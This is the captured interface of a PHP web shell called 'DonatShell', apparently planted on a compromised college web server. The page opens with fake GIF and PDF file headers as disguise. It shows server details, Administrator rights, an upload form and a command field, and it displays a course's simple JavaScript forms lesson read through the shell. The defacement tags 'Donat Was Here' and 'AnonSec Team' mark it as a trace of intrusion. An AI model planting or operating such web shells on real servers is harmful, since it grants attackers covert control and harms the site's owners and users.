GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1022/Resources/Week/13/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1022/Resources/Week/13/Forms.html
<!DOCTYPE html>
<html lang="en">

<head>
  <title>Forms</title>
  <meta charset="utf-8">
  <link href="Forms.css" rel="stylesheet">
  <!-- <script src="site.js"></script> -->
</head>

<body>

  <h1>Forms</h1>

  <p id="para1">Before the script...</p>

  <form>
    <input type="radio" name="age" id="age10" value="10"><label for="age10">Age 10</label>
    <input type="radio" name="age" id="age20" value="20"><label for="age20">Age 20</label>
  </form>

  <form id="secondForm">
    <input type="text" name="login">
  </form>
  
  <script>
    // form -> element
    let login = secondForm.login;
  
    // element -> form
    console.log(login.form.id); // HTMLFormElement
  </script>


<form name="thirdForm">
  <input type="text" name="login3">
</form>

<script>
  // form -> element
  let login3 = thirdForm.login3;

  // element -> form
  console.log(login3.form.name); // HTMLFormElement
</script>


  <script>
    "use strict";
    let form = document.forms[0];

    let ageElems = form.elements.age;

    console.log(ageElems[0].id); // [object HTMLInputElement]
  </script>

  <p id="para2">...After the script.</p>

</body>

</html>

Anon7 - 2022
AnonSec Team